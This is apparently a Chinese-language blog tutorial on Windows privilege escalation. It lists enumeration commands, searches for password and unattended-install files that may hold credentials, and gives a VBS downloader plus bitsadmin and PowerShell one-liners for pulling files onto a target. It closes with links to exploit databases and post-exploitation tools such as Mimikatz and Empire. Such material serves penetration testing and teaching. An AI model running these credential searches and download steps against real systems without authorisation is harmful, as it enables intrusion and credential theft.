0

window权限提升基础知识

已有 887 人阅读此文 - -

介绍

这篇文章是介绍window的权限提升,虽然不是一个全面的指南,但会试图覆盖主要的技术,常用的资源列表在文章底部,可供大家参考。

初始信息收集

在开始提权之前,我们需要了解操作系统基本的信息,如安装软件,操作系统版本,连接用户,端口进程等信息,

1.获取操作系统信息

识别操作系统名称及版本:

C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

OS Name: Microsoft Windows 10 Pro

OS Version: 10.0.14393 N/A Build 14393

当然中文系统你得这样:

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

识别系统体系结构:

C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%

AMD64

查看所有环境变量:

C:\Users\thel3l> SET

USERNAME=thel3l

USERPROFILE=C:\Users\thel3l

*snip*

查看在线用户,有时候低权限看不到:

query user

查询终端端口:

C:\Users\sanr> REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

查看某特定用户信息:

C:\Users\thel3l>net user thel3l

User name thel3l

*snip*

The command completed successfully

2.获取网络信息

查看路由表信息:

C:\Users\thel3l> route print

查看ARP缓存信息:

C:\Users\thel3l> arp -A

查看网络连接和防火墙规则:

C:\Users\thel3l> netstat -ano

C:\Users\thel3l> netsh firewall show config

C:\Users\thel3l> netsh firewall show state

3.应用程序及服务信息

查看计划任务:

C:\Users\thel3l> schtasks /QUERY /fo LIST /v

中文系统的命令,先调整GBK编码为437美国编码:

chcp 437

然后

schtasks /QUERY /fo LIST /v

查看服务进程ID:

C:\Users\thel3l> tasklist /SVC

查看已经启动Windows 服务:

C:\Users\thel3l> net start

查看安装驱动:

C:\Users\thel3l> DRIVERQUERY

查看安装程序和版本信息(漏洞利用线索):

C:\Users\thel3l> wmic product list brief

查看服务、进程和启动程序信息:

C:\Users\thel3l> wmic service list brief

C:\Users\thel3l> wmic process list brief

C:\Users\thel3l> wmic startup list brief

查看服务权限:

 

C:\Users\sanr> sc qc mysqla

[SC] QueryServiceConfig 成功

SERVICE_NAME: mysqla

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 1 NORMAL

BINARY_PATH_NAME : “D:\Program Files\phpstudy\mysql\bin\mysqld.exe” MySQLa

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : MySQLa

DEPENDENCIES :

SERVICE_START_NAME : LocalSystem

 

 

查看安装补丁和时间信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn

查看特定漏洞补丁信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"

执行上面的命令的没有输出,意味着那个补丁未安装。

4.敏感数据和目录

查找密码文件或其它敏感文件:

C:\Users\sanr> cd/

C:\Users\sanr> dir /b/s password.txt # Will search for all password.txt files on the filesystem.

C:\Users\sanr> dir /b/s config.* # Will search for all files starting with 'config' on the filesystem.

C:\Users\sanr> findstr /si password *.xml *.ini *.txt

C:\Users\sanr> findstr /si login *.xml *.ini *.txt

无人值守安装文件:

这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:

C:\sysprep.inf C:\sysprep\sysprep.xml

C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattended.xml

5.文件系统

打包:

C:\Users\sanr> rar a -k -r -s -m3 c:\1.rar c:\folde

可以通过调用系统预安装程序语言查看当前可访问目录或文件权限,如python下:

import os; os.system("cmd /c {command here}")

使用copy con命令创建ftp执行会话:

范例

C:\Users\thel3l> copy con ftp.bat #创建一个名为ftp.bat的批处理文件

ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编辑,再按回车退出

 

C:\Users\thel3l> ftp.bat # 执行创建的文件

 

 

使用copy con命令创建VBS脚本文件:

C:\Users\thel3l> copy con commandExec.vbs

#执行cmd命令

Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True)
C:\Users\thel3l> commandExec.vbs

#执行脚本文件

检查文件夹可写状态:

C:\Users\thel3l> dir /a-r-d /s /b

6.一个有用的文件上传脚本

' downloadfile.vbs

' Set your settings

strFileURL = "http://127.0.0.1/text.ico"

strHDLocation = "d:\text.ico"

' Fetch the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0 'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

该脚本是一个社区发布的,你可以以下这种方式运行它:

C:\Users\thel3l>cscript.exe downloadfile.vbs

bitsadmin命令:

如果你的目标系统是Windows 7及以上操作系统,你可以使用bitsadmin命令,bitsadmin是一个命令行工具,可用于创建下载上传进程:

范例

 

如:

bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip

C:\Users\sanr> powershell (new-object System.Net.WebClient).DownloadFile('http://www.jd.com/favicon.ico','text.ico')

 

 

搜索exp跟shellcode

http://www.exploit-db.com

http://1337day.com

http://0day.today

http://www.securityfocus.com

http://seclists.org/fulldisclosure/

http://www.exploitsearch.net

http://www.securiteam.com

http://metasploit.com/modules/

http://securityreason.com

https://cxsecurity.com/exploit/

http://securitytracker.com/

优秀的文章,工具,资源,指南

rmusser01’s GitHub document to Post Exploitation on Windows

Tim Arneaud on Windows Privilege Escalation

An article on WMIC

Luke Jennings on Group Policy Hijacking Attacks

Toying with the Windows API

enaqx – Excellent curated collection of content

PowerShellMafia’s PowerSploit

The SysInternals suite

Windows Credential Editor

Mimikatz – Credential Extraction

GDSSecurity’s Windows Exploit Suggester

SpiderLab’s Responder – A LLMNR, NBT-NS and MDNS poisoner

PowerShellEmpire’s Empire – Pure PowerShell post-exploitation agent

rabbitstack’s fibratus – A tool for exploration and tracing of the Windows kernel

0
相关文章!